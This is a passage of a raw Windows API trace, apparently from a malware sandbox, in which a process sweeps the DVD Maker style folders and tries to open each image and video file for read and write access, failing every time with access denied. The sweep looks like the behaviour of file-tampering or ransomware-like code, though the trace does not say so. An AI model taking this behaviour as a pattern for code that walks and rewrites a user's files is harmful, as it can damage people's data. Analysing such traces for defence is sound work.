dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.000] GetLastError () returned 0x5 [0191.000] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0191.001] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.001] GetLastError () returned 0x5 [0191.001] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0191.001] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.001] GetLastError () returned 0x5 [0191.001] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0191.001] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.002] GetProcessHeap () returned 0x2ef0000 [0191.002] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.002] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0191.002] GetProcessHeap () returned 0x2ef0000 [0191.002] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7a) returned 0x2f123a0 [0191.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.004] GetProcessHeap () returned 0x2ef0000 [0191.004] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0191.004] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.004] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0191.004] GetProcessHeap () returned 0x2ef0000 [0191.004] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27c) returned 0x2f47728 [0191.004] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.004] GetLastError () returned 0x5 [0191.005] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0191.005] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.005] GetLastError () returned 0x5 [0191.005] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0191.005] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.006] GetLastError () returned 0x5 [0191.006] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0191.006] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.006] GetLastError () returned 0x5 [0191.006] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0191.006] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.006] GetLastError () returned 0x5 [0191.006] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0191.006] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.007] GetLastError () returned 0x5 [0191.007] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0191.007] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.007] GetLastError () returned 0x5 [0191.007] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0191.007] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.007] GetLastError () returned 0x5 [0191.007] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0191.008] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.008] GetLastError () returned 0x5 [0191.008] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0191.008] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.008] GetLastError () returned 0x5 [0191.008] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0191.008] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.009] GetLastError () returned 0x5 [0191.009] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0191.009] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.009] GetLastError () returned 0x5 [0191.009] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0191.009] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.009] GetLastError () returned 0x5 [0191.009] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0191.009] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.010] GetLastError () returned 0x5 [0191.010] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0191.010] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.010] GetLastError () returned 0x5 [0191.010] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0191.010] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.010] GetLastError () returned 0x5 [0191.010] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0191.010] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.010] GetLastError () returned 0x5 [0191.010] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0191.010] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.011] GetLastError () returned 0x5 [0191.011] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0191.011] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.011] GetLastError () returned 0x5 [0191.011] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0191.011] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.012] GetLastError () returned 0x5 [0191.012] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0191.012] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.012] GetLastError () returned 0x5 [0191.012] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0191.012] CreateFileW (lpFileName="C:\\Program Files\\DVD 